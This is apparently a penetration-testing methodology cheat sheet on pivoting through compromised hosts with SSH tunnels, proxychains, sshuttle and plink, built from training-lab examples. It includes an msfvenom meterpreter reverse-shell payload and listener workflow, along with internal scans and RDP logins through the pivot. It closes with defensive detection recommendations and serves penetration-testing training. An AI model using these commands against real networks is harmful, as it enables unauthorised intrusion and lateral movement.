π‘οΈ Methodology Checklist
- Confirm SSH access to pivot host and internal segment reachability
- Local forward:
ssh -L [LPORT]:[INTERNAL_IP]:[PORT] user@[PIVOT] - Dynamic SOCKS proxy:
ssh -D 9050 user@[PIVOT] - Configure
/etc/proxychains.conf:socks5 127.0.0.1 9050 - Verify listener:
ss -tlnp | grep 9050 - Test connectivity:
proxychains4 -q curl http://[INTERNAL_IP] - Remote tunnel (reverse):
ssh -R [RPORT]:localhost:[LPORT] user@[ATTACKER] - Close SSH session cleanly when done
π― Operational Context
Use when: SSH access to a pivot host β use dynamic SOCKS proxy (-D), local port forward (-L), or remote port forward (-R) for internal network access.
Think Dumber First: ssh -D 9050 [USER]@[PIVOT_IP] then set socks5 127.0.0.1 9050 in proxychains β takes 10 seconds and routes all proxychains traffic through the pivot. The most reliable pivoting method when SSH is available.
Skip when: SSH not available on pivot β use Chisel or netsh instead.
β‘ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
ssh -L [LPORT]:localhost:[REMOTE_PORT] [USER]@[PIVOT_IP] | Local forward β specific local port β specific remote service |
ssh -L [LPORT]:localhost:[PORT1] -L [LPORT2]:localhost:[PORT2] [USER]@[PIVOT_IP] | Multiple local forwards in one command |
ssh -D 9050 [USER]@[PIVOT_IP] | Dynamic forward β SOCKS proxy on local port 9050 for entire internal network |
ssh -R [PIVOT_LAN_IP]:[PIVOT_PORT]:0.0.0.0:[LPORT] [USER]@[PIVOT_IP] -vN | Remote forward β pivot listens, forwards reverse shell back to attack host |
proxychains nmap -v -Pn -sT [TARGET_IP] | Scan internal host via SOCKS tunnel (must use -sT -Pn) |
proxychains xfreerdp3 /v:[TARGET_IP] /u:[USER] /p:[PASS] | RDP to internal host via SOCKS proxy |
sudo sshuttle -r [USER]@[PIVOT_IP] [TARGET_SUBNET]/[CIDR] -v | Transparent VPN-like proxy β no proxychains needed |
sudo sshuttle -r [USER]@[PIVOT_IP] 0.0.0.0/0 -x [PIVOT_IP] | Route all traffic except pivot host itself (prevent loops) |
echo y | plink.exe -ssh -D 9050 [USER]@[PIVOT_IP] | Windows plink β dynamic SOCKS proxy |
plink.exe -ssh -L [LPORT]:[INTERNAL_IP]:[TARGET_PORT] [USER]@[PIVOT_IP] -pw [PASS] | Windows plink β local port forward |
netstat -antp | grep [LPORT] | Verify SSH tunnel is listening on attack host |
π¬ Deep Dive & Workflow
Identifying Pivot Opportunities
# Linux: find dual-homed hosts (multiple NICs = pivot candidate)
ifconfig # look for eth1, tun1 with different subnets
netstat -r # check routing table for reachable subnets
# Windows
ipconfig /all
route printDiagram rule: Map every NIC and subnet discovered. Multi-level pivots require knowing exactly which host bridges which networks.
SSH Local Port Forwarding (-L)
Use when you know the exact service and port to target (e.g., MySQL on 3306):
# Forward local:1234 β pivot's localhost:3306
ssh -L 1234:localhost:3306 ubuntu@10.129.202.64
# Verify
netstat -antp | grep 1234
nmap -v -sV -p1234 localhost
# Use it
mysql -h 127.0.0.1 -P 1234 -u root -pSSH Dynamic Port Forwarding (-D) + proxychains
Use when you need to reach any IP/port on the internal network:
# 1. Open SOCKS proxy
ssh -D 9050 ubuntu@10.129.202.64
# 2. Configure proxychains
echo "socks4 127.0.0.1 9050" >> /etc/proxychains.conf
# 3. Tunnel any tool
proxychains nmap -v -Pn -sT 172.16.5.19 # -sT mandatory (no SYN through SOCKS)
proxychains xfreerdp3 /v:172.16.5.19 /u:victor /p:pass@123
proxychains msfconsoleSSH Remote Port Forwarding (-R) β Catching Reverse Shells
Use when a deep target can reach the pivot but not your attack host:
# 1. Generate payload pointing to PIVOT (not attack host)
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.16.5.129 LPORT=8080 -f exe -o shell.exe
# 2. Start listener on attack host (different port than pivot port)
use exploit/multi/handler; set lhost 0.0.0.0; set lport 8000; run
# 3. SSH remote forward β pivot:8080 β attack:8000
ssh -R 172.16.5.129:8080:0.0.0.0:8000 ubuntu@10.129.15.50 -vN
# MUST specify pivot LAN IP β omitting it binds only to 127.0.0.1 on pivot (target can't reach that)sshuttle β Transparent Proxy (No proxychains)
Best UX when target subnet needs extensive tool usage. Modifies local iptables routing β no proxy prefix needed:
sudo sshuttle -r ubuntu@10.129.202.64 172.16.5.0/23 -v
# Run tools directly (no proxychains)
nmap -v -A -sT -p3389 172.16.5.19 -Pn
xfreerdp3 /u:victor /p:pass@123 /v:172.16.5.19Requirements: Python on pivot host (not required on attack host); sudo on attack host to modify iptables. Does not support UDP or SYN scans reliably β use -sT.
plink.exe β SSH from Windows
Native Windows alternative when PuTTY is already installed on a compromised host:
# Dynamic SOCKS (pipe y to accept host key)
echo y | plink.exe -ssh -D 9050 ubuntu@10.129.15.50
# Local forward (RDP β use 3390 to avoid conflict with Windows' own RDP on 3389)
plink.exe -ssh -L 3390:172.16.5.19:3389 ubuntu@10.129.23.243 -pw "HTB_@cademy_stdnt!"
mstsc /v:127.0.0.1:3390 # connect with TARGET's credentials (not pivot's)Two credential sets: plink authenticates to the pivot; the RDP client authenticates to the target.
Comparison Table
| Method | Use Case | proxychains | UDP | Stability |
|---|---|---|---|---|
-L (local) | Single known service | No | No | High |
-D (dynamic) | Full subnet access | Yes | No | Medium |
-R (remote) | Catch reverse shell from internal | No | No | High |
| sshuttle | Full subnet, many tools | No | Limited | High |
| plink | Windows attack host | Via Proxifier | No | Medium |
π οΈ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| ssh -D port already in use | Local port conflict | Change: ssh -D 9090 ...; update proxychains.conf to match |
| Dynamic proxy works for some tools but not others | SOCKS4 vs SOCKS5 | Set socks5 not socks4 in proxychains.conf; UDP-based tools donβt work through SOCKS |
| SSH connection drops after idle | No keepalive configured | Add: ssh -o ServerAliveInterval=30 -o ServerAliveCountMax=3 -D 9050 ... |
| Remote port forward (-R) not binding | AllowTcpForwarding disabled | Check sshd_config on attack box: AllowTcpForwarding yes and GatewayPorts yes |
| Local forward (-L) canβt reach internal service | Wrong destination format | Format: ssh -L [LPORT]:[INTERNAL_IP]:[INTERNAL_PORT] [USER]@[PIVOT]; INTERNAL_IP is from pivotβs perspective |
π Reporting Trigger
Finding Title: SSH Dynamic SOCKS Proxy Enables Full Internal Network Access Impact: SSH dynamic proxy through a compromised Linux host routes all attacker traffic through the pivot, providing unrestricted access to the internal network segment with encryption and minimal detection risk on networks that permit outbound SSH. Root Cause: SSH permitted outbound from the pivot host without network-level restrictions. No monitoring of SSH dynamic proxy usage. Recommendation: Restrict SSH access from internal hosts to specific authorized destinations. Alert on outbound SSH connections from non-management hosts. Monitor for SSH with -D or ForwardAgent flags from non-interactive processes. Implement network access control based on host role.